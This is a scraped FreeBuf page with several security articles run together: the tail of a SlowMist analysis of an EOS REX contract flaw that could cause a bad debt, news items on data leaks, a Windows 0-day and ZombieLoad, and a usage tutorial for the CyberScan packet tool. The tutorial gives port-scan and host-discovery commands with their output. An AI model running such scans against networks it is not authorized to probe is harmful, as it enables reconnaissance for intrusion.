            rb.rex_balance.amount -= rex.amount;
            rb.matured_rex        -= rex.amount; ///减少已经成熟的rex的数量
         });
         stake_change.amount = bitr->vote_stake.amount - init_vote_stake_amount;
         success = true;
      ///不够钱支付的情况
      } else {
         proceeds.amount = 0;
      }

      return { success, proceeds, stake_change };
   }

上一篇文章我们分析了核心的收益公式是怎么计算出来的。这次从11行开始,看看这个函数做了什么: 

1、首先获取 unlent_lower_bound 的值,即最低未出租 rex_pool 中的 EOS 的数量。这个字段等于用户从 rex_pool 中借用资源的总量,是以 EOS 为单位的。 

2、计算 available_unlent 的值,这个值有可能为负数,为什么呢?假设一个场景,你是一个投资经理,你手上有很多投资人的钱,然后你把投资人的钱拿出去放贷收取利息,那么请问,这个时候你手上的资金还有多少?答案自然是:投资人的钱 – 放贷资金 + 放贷收益。REX 相当于这个投资经理,用户可以用少量的成本(EOS)换取大量的贷款(资源),这个时候,REX 的资金池中的资金就就变成了:用户的资金 – 租用的金额 + 租用收益。根据前面的描述,用于租用资源的资金总是小于 REX 平台出租出去的资金,也就是说 在持续出租资源的时候,rex_pool 中的资金总是不断变少的(这里不讨论系统收益的情况)。想清楚这一点,就能明白为什么 available_unlent 的值为负数了,当出租出去的资金大于 rex_pool 中当前资金 + 收益的时候,这个值就会为负数。 

3、判断用户出售的 rex 获得的收益是否小于 rex_pool 中的剩余资金,相当于投资人想要回自己的钱,这个时候分两种情况:    

3.1、如果资金不够,那么这个订单就会挂起,此时由 sellrex 函数创建一个欠条,这就是订单失败的由来。    

3.2、如果够的话,则从 rex_pool 资金池中减去用户收回的资金,更新相关的表字段,更新用户的 rex_balance 账户,扣除相应的 rex 解锁金额。

那么到这里,整个 sellrex 的流程都讲清楚了,流程图是这样子的:

08FD00D3883EE2741C6B85D82C849FA4.jpg

安全性分析

由于本次没有拓展新的函数,所以安全结论是和上篇是一样的,但是这次我们可以对上次说的安全问题有更深的了解。在原先版本的 rex 合约中,是没有 check( pending_sell_order.amount <= bitr->matured_rex, “insufficient funds for current and scheduled orders” ) 这一个校验的,这会导致什么呢?我们知道,当资金池中的资金不足以支付用于的卖单的时候,将跳过 if 判断下的所有步骤,直接由 sellrex 函数挂起订单,在这种情况下,恶意用户在系统资金池资金不足的时候,就可以一直卖 rex,叠加挂起订单的 rex 金额,直到资金池有足够的资金支付,出售比购买 rex 数量更多的 rex。但是这样操作还是会卖不出去,因为最后更改用户 rex_balance 的时候由于 asset 结构体自带的溢出检测,是不能成功卖出去的。但是这就会让这个订单成为一笔坏账,在这种情况下,因为有未完成的 sellrex order,整个 REX 系统将停止运行。具体原因是什么可以自己去发现,答案会在下一篇文章揭晓。

文章可能有说得不对或说得不够好的地方,欢迎讨论交流。

详情参考:    

https://eosauthority.com/blog/REX_progress_with_testing_and_implementation_details

声明

本文仅用作技术参考,不构成任何投资建议。投资者应在充分了解相关风险的基础上进行理性投资。

*本文作者:SlowMist team,转载请注明来自FreeBuf.COM

原文阅读

BUF早餐铺 | 福布斯全球2000强企业HCL泄露大量员工和商业信息;数千万条Instagram名人信息泄露;Win10计划任务程序0-day漏洞攻击代码发布
AngelaY 2019-5-22 23:0 转存

各位Buffer早上好,今天是 2019 年 5 月 23 日星期四。今天的早餐铺内容主要有:福布斯全球2000强企业HCL泄露大量员工和商业信息;数千万条Instagram名人信息泄露;Win10计划任务程序0-day漏洞攻击代码发布;谷歌发现G Suite漏洞,部分密码明文存储长达十四年;微软呼吁行业数据隐私问题需要联邦监管;禁用超线程才能完全缓解ZombieLoad 但性能下降高达 40%。

chinese-dim-sum-char-siu-pao-har-gao.jpg

福布斯全球2000强企业HCL泄露大量员工和商业信息

近日,UpGuard研究团队发现位列福布斯全球2000强的IT服务和咨询公司Hindustan计算机有限公司(HCL)存在信息泄露的风险。HCL在多个子域上托管了可公开访问的页面和Web界面,导致大量员工和商业信息公开暴露。UpGuard研究团队最早在5月1日就发现这些安全隐患,当时他们在HCL域中检测到一个可免费下载的文档(包含客户关键字),随后发现了“其他可公开访问的页面,包含个人和商业数据”。暴露的数据“包括新雇员的个人信息和明文密码、客户基础设施安装报告以及管理人员的Web应用程序。”目前,HCL仍未对此事发表公开回复,不过至少及时响应了研究人员的提醒并采取了防护和补救措施。UpGuard认为,HCL及时有效的响应值得其他存在泄露风险的企业学习。[来源: bleepingcomputer]

数千万条Instagram名人信息泄露

据外媒TechCrunch报道,安全研究人员Anurag Sen发现Instagram位于AWS存储桶上的一个大型数据库保护不当,可被任意没有访问权限的人访问。该数据库包含4900多万条Instagram账户的联系信息,其中大部分都是网红和大V的个人信息,如个人经历、资料图片、粉丝数量、所在城市、私人联系方式、电子邮件地址以及电话号码等信息。另外,该数据库中还包含了计算每个账户价值的具体字段,可以估算账户的商业价值。据TechCrunch调查,该数据库属于社交媒体营销公司Chtrbox,其总部位于印度,主要业务就是让网红和网络大V发布广告。目前事件正在进一步调查当中。[来源: securityaffairs]

Win10计划任务程序0-day漏洞攻击代码发布

在微软发布本月安全更新之后,研究人员SandboxEscaper发布了Win10计划任务程序0-day漏洞的攻击代码。该漏洞的利用目标主要是提升本地权限,让权限有限的用户可以完全控制SYSTEM和TrustedInstaller等高级权限用户才能访问的文件。通过将遗留任务文件导入Windows 10上的计划任务程序,就可以利用该漏洞。运行从旧系统复制的可执行文件’schtasks.exe’和’schedsvc.dll’命令可以触发远程过程调用(RPC) ),并触发“_SchRpcRegisterTask”。这个过程中,触发特定功能就能实现上述提升权限的目标。目前,该攻击可以在Windows 10 系统上成功复现,而在Windows 7 和 Windows 8系统上则未复现成功。[来源:bleepingcomputer]

谷歌发现G Suite漏洞:部分密码明文存储长达十四年

据美国科技媒体The Verge报道,谷歌在博客文章里披露,公司最近发现一个漏洞,导致部分G Suite用户的密码以明文方式存储。博文中称,该漏洞自2005年以来就存在,但谷歌未能找到任何证据表明,任何人的密码被非法访问过。公司正在重置可能受影响的密码,并已告知各G Suite管理员。谷歌并未说明具体有多少用户受到这一漏洞的影响,只是表示该漏洞影响了“我们部分的企业G Suite用户”——估计是2005年时使用G Suite的那些人。尽管谷歌也没有发现任何人恶意使用这一访问权限的证据,但我们也无法清楚地知道究竟谁访问过这些明文密码。目前这个漏洞已经修复,同时谷歌在博文最后表达了歉意。[来源: sina]

微软呼吁行业数据隐私问题需要联邦监管

据外媒报道,最近的隐私问题使得数据收集成为公众关注的焦点。在过去,科技公司采用的都是自我监管的方式,但现在,这个行业开始呼吁联邦监管。当地时间周一,微软副总裁兼副总法律顾问Julie Brill在一篇博文中对欧盟近一年前颁布的《通用数据保护条例(GDPR)》进行了反思。Brill认为,GDPR在改变科技公司处理个人数据的方式方面非常有效。Brill指出,GDPR已经激励其他一些国家采取类似的规定。她还赞赏自己的公司是“第一家将GDPR核心的数据控制权提供给全球客户,而不仅仅是欧洲客户的公司”。然而,这种自我监管在Brill看来还不够好。尽管加州和伊利诺斯州等州已经拥有强有力的数据保护法,但Brill认为,美国需要类似于联邦级别的GDPR。

微软并不是唯一一家呼吁联邦监管的大型科技公司。同样强调其强大隐私政策的苹果最近也表示,自我监管的时代已经结束。今年4月,该公司CEO蒂姆·库克在Time 100峰会上表示:“我们都必须在理智上诚实,我们必须承认,我们正在做的事情并不奏效。技术需要被监管。”[来源:cnbeta]

禁用超线程才能完全缓解ZombieLoad 但性能下降高达 40%

上周 Intel 曝出影响 2011 年以来几乎所有芯片的漏洞 ZombieLoad,利用该漏洞,攻击者可以对芯片发起边信道攻击,在同一 CPU 上执行恶意进程,进而获取 CPU 的微架构缓冲器中的存储器内容。虽然 ZombieLoad 得到有价值数据的成本比较高,但是各大公司都十分重视这个漏洞,毕竟它影响了 2011 年以来几乎所有芯片,打击范围十分广泛。Intel 自己已经发布了微代码,从架构上缓解该问题,其它科技公司如苹果、微软与谷歌也都相继发布了补丁。

事实上,苹果和谷歌都已经警告 macOS 和 Chrome OS 用户禁用超线程可获得全面保护,并且谷歌现在默认从 Chrome OS 74 开始禁用超线程。但是禁用超线程的性能代价实在有点高。

Intel 发言人表示,大部分打过补丁的设备在最坏的情况下可能会受到 3% 的性能影响,而在数据中心环境中可能会是 9%。而PostgreSQL 基准测试发现,禁用超线程后,性能下降了近 40%;Ngnix 基准测试的性能下降了约 34%;Zombieload 的研究人员表示禁用超线程会使某些工作负载的性能下降 30% 至 40%。[来源:cnbeta]

原文阅读

4900万条Instagram数据曝光,影响人数达数百万
Karunesh91 2019-5-22 9:25 转存

近日,一个包含大量Instagram用户数据的数据库被发现,影响人数达到数百万,其中包括众多用户以及品牌商信息。

4Y2j-fzcyxmu0713347.jpg

本次暴露的数据库由亚马逊网络服务托管,任何用户都可以直接进入数据库查看数据。目前已知该数据库有超过4900万条记录——而且仍在不断增长。

通过对其数据的简要回顾发现,每条记录都能直接关联到Instagram的某个用户账户的数据,包括用户资料、图片、粉丝数据、以及验证过的国家/地区、私人联系信息(包括电话、电子邮件等),甚至还有用户已删除信息内容。

安全研究员Anurag Sen发现了这个暴露在外的数据库并发出提醒,尽快找出数据泄漏的用户并确保数据库的安全。

TechCrunch根据泄漏数据库信息,追踪到了一个位于孟买的社交媒体运营公司Chtrbox,该公司时常会付费请ins网红发布其公司相关的推广信息。通常一个账户的价值会根据其粉丝数量、粉丝活跃度、业务覆盖面、垂直领域等方面综合评定,这也直接影响到这些公司对他们的报价。

研究人员在暴露的数据库中发现了一些ins的“网红”,与其取得了联系并提供了正确的电话号码或邮箱等,其中有两人回复并确认数据等真实性,并且表示,他们均没有与Chtrbox公司合作。

在联系之后,Chtrbox公司将数据库进行脱机处理。该公司创始人Pranay Swarup对数据泄漏事件没有发出任何回应,随后该公司发布一条推文表示,受影响的用户不会超过35万,并且该数据库仅开放了72小时。但研究人员证实,该数据库于5月14日起在Shodan被检测到后就一直处于开放状态。

此前,在Instagram承认,由于开发人员疏忽导致黑客窃取600万用户数据。在事件过去两年之后,Instagram才开始着手处理,而黑客早已将数据卖成了比特币。

目前,Facebook发布声明称:我们正在调查这个问题,我们会确认泄漏的数据(包括电子邮件和电话号码)是来自Instagram还是其他源头。并且我们也会与Chtrbox沟通以了解这些数据的来源。 

*参考来源:techcrunch,Karunesh91编译,转载请注明来自FreeBuf.COM

原文阅读

CyberScan:用于数据包取证的渗透工具
secist 2019-5-22 7:0 转存

CyberScan是一个开源的数据包取证渗透工具,可用于数据包的分析,解码,扫描端口,pinging以及获取IP的地理定位包括(纬度,经度,地区,国家等)。

截图

demo.png

支持的操作系统

Windows XP/7/8/8.1/10

GNU/Linux

MacOSX

安装

你可以通过克隆Git存储库下载CyberScan:

git clone https://github.com/medbenali/CyberScan.git
cd CyberScan/
python CyberScan.py -v

CyberScan支持Python版本2.6.x和2.7.x开箱即用。

CyberScan 模块使用

CyberScan能够发送和捕获多个协议的数据包,伪造并对它们进行解码以用于大多数网络任务,如扫描,ping,探测和攻击。

请确保你的机器已安装了CyberScan:

$ git clone https://github.com/medbenali/CyberScan.git

查看帮助选项:

$ CyberScan -h

Pinging 网络

CyberScan支持使用多种协议执行ping操作,在本地以太网上发现主机的最快方法是使用ARP:

ARP Ping

$ CyberScan -s 192.168.1.0/24 -p arp
[*] Starting Ping ARP for 192.168.1.0/24
Begin emission:
Finished to send 256 packets.

Received 0 packets, got 0 answers, remaining 256 packets

ICMP Ping

在其他情况下,我们可以使用ICMP ping:

$ CyberScan -s 192.168.1.1-254 -p icmp
[*] Starting Ping ARP for 192.168.1.0/24
Begin emission:
Finished to send 256 packets.

Received 0 packets, got 0 answers, remaining 256 packets

TCP Ping

在ICMP回应请求被阻止的情况下,我们仍然可以使用TCP:

$ CyberScan -s 192.168.1.1-254 -p tcp -d 80

UDP Ping

甚至UDP(从实时主机产生ICMP端口不可达错误)。我们可以选择任何最有可能关闭的端口,例如端口0:

$ CyberScan -s 192.168.*.1-10 -p udp

网络扫描

端口扫描器

在CyberSan Tool中,我们可以指定/不指定开始和结束端口进行扫描

$ CyberScan -s 192.168.1.1 -p scan -d 1 -t 100
WARNING: No route found for IPv6 destination :: (no default route?)
[*] CyberScan Port Scanner
[*] Scanning 192.168.1.1 From Port 1 To 100: 
[*] Starting CyberScan 1.01 at 2017-07-14 14:00 CEST
[*] Scan In Progress ...
[*] Connecting To Port :  100 
[*] Scanning Completed at 2017-07-14 14:00 CEST
[*] CyberScan done: 1IP address (1host up) scanned in 0.32 seconds
[*] Open Ports: 
  23 TELNET: Open
  53 DNS: Open
  80 HTTP: Open
$ CyberScan -s 8.8.8.8 -p scan
WARNING: No route found for IPv6 destination :: (no default route?)
[*] CyberScan Port Scanner
[*] Scanning For Most Common Ports On 8.8.8.8
[*] Starting CyberScan 1.01 at 2017-07-14 14:03 CEST
[*] Scan In Progress ...
[*] Connecting To Port :  10000 109 110 123 137 138 139 143 156 2082 2083 2086 2087 21 22 23 25 3306 389 546 547 69 80 8443 993 995 
[*] Scanning Completed at 2017-07-14 14:03 CEST
[*] CyberScan done: 1IP address (1host up) scanned in 13.11 seconds
[*] Open Ports: 
  53 DNS: Open
  443 HTTPS: Open

地理定位 IP

$ CyberScan -s 72.229.28.185 -p geoip
WARNING: No route found for IPv6 destination :: (no default route?)
[*] IP Address:  72.229.28.185
[*] City:  New York
[*] Region Code:  NY
[*] Area Code:  212
[*] Time Zone:  America/New_York
[*] Dma Code:  501
[*] Metro Code:  New York, NY
[*] Latitude:  40.7605
[*] Longitude:  -73.9933
[*] Zip Code:  10036
[*] Country Name:  United States
[*] Country Code:  US
[*] Country Code3:  USA
[*] Continent:  NA

分析和解码数据包

Cyberscan可以分析PCAP文件提取和解码以太网、IP、TCP、ICMP、UDP包头。

以太网包头

$ CyberScan -f test.pcap -p eth
WARNING: No route found for IPv6 destination :: (no default route?)
----------------------------------------
[*] Packet : 1
[+] ### [ Ethernet ] ###
[*] Mac Destination : 00:1f:f3:3c:e1:13
[*] Mac Source : f8:1e:df:e5:84:3a
[*] Ethernet Type : 2048

IP 包头

$ CyberScan -f test.pcap -p ip
WARNING: No route found for IPv6 destination :: (no default route?)
----------------------------------------
[*] Packet : 1
[+] ###[ IP ] ###
[*] IP Source : 172.16.11.12
[*] IP Destination : 74.125.19.17
[*] IP Version :  4
[*] IP Ihl :  5
[*] IP Tos :  0
[*] IP Len :  79
[*] IP Id :  56915
[*] IP Flags :  2
[*] IP Frag :  0
[*] IP Ttl :  64
[*] IP Protocol :  6
[*] IP Chksum :  18347
[*] IP Options :  []
[*] IP Dump : 
0000   45 00 00 4F DE 53 40 00  40 06 47 AB AC 10 0B 0C   E..O.S@.@.G.....
0010   4A 7D 13 11 FC 35 01 BB  C6 D9 14 D0 C5 1E 2D BF   J}...5........-.
0020   80 18 FF FF CB 8C 00 00  01 01 08 0A 1A 7D 84 2C   .............}.,
0030   37 C5 58 B0 15 03 01 00  16 43 1A 88 1E FA 7A BC   7.X......C....z.
0040   22 6E E6 32 7A 53 47 00  A7 5D CC 64 EA 8E 92      "n.2zSG..].d...

TCP 包头

$ CyberScan -f test.pcap -p tcp
WARNING: No route found for IPv6 destination :: (no default route?)
----------------------------------------
[*] Packet : 1
[+] ###[ TCP ] ###
[*] TCP Source Port :  64565
[*] TCP Destination Port :  443
[*] TCP Seq :  3336115408
[*] TCP Ack :  3307089343
[*] TCP Dataofs :  8
[*] TCP Reserved :  0
[*] TCP Flags :  24
[*] TCP Window :  65535
[*] TCP Chksum :  52108
[*] TCP Urgptr :  0
[*] TCP Options :  [('NOP', None), ('NOP', None), ('Timestamp', (444433452, 935680176))]
[*] TCP Dump : 
0000   FC 35 01 BB C6 D9 14 D0  C5 1E 2D BF 80 18 FF FF   .5........-.....
0010   CB 8C 00 00 01 01 08 0A  1A 7D 84 2C 37 C5 58 B0   .........}.,7.X.

UDP 包头

$ CyberScan -f test.pcap -p udp
WARNING: No route found for IPv6 destination :: (no default route?)
----------------------------------------
[*] Packet : 1
[+] ###[ UDP ] ###
[*] UDP Source Port :  54639
[*] UDP Destination Port :  53
[*] UDP Len :  47
[*] UDP Chksum :  30084
[*] UDP Dump : 
0000   D5 6F 00 35 00 2F 75 84  13 A2 01 00 00 01 00 00   .o.5./u.........
0010   00 00 00 00 04 65 38 37  32 01 67 0A 61 6B 61 6D   .....e872.g.akam
0020   61 69 65 64 67 65 03 6E  65 74 00 00 01 00 01      aiedge.net.....

ICMP 包头

$ CyberScan -f test.pcap -p icmp
WARNING: No route found for IPv6 destination :: (no default route?)
----------------------------------------
[*] Packet : 1
[+] ###[ ICMP ] ###
[*] ICMP Type :  3
[*] ICMP Code :  3
[*] ICMP Chksum :  5296
[*] ICMP Id :  None
[*] ICMP Seq :  None
[*] ICMP Dump : 
0000   03 03 14 B0 00 00 00 00  45 00 00 43 C1 80 00 00   ........E..C....
0010   40 11 4A FC AC 10 0B 01  AC 10 0B 0C 00 35 E7 E8   @.J..........5..
0020   00 2F 00 00                                        ./..

*参考来源:GitHub,FB小编secist编译,转载请注明来自FreeBuf.COM

原文阅读

本站作者

每日荐书

在不完美的世界力求正常——读《公司的坏话》

书名:《公司的坏话》

作者:李天田(脱不花妹妹)

出版社:北京大学出版社

赞助商

广告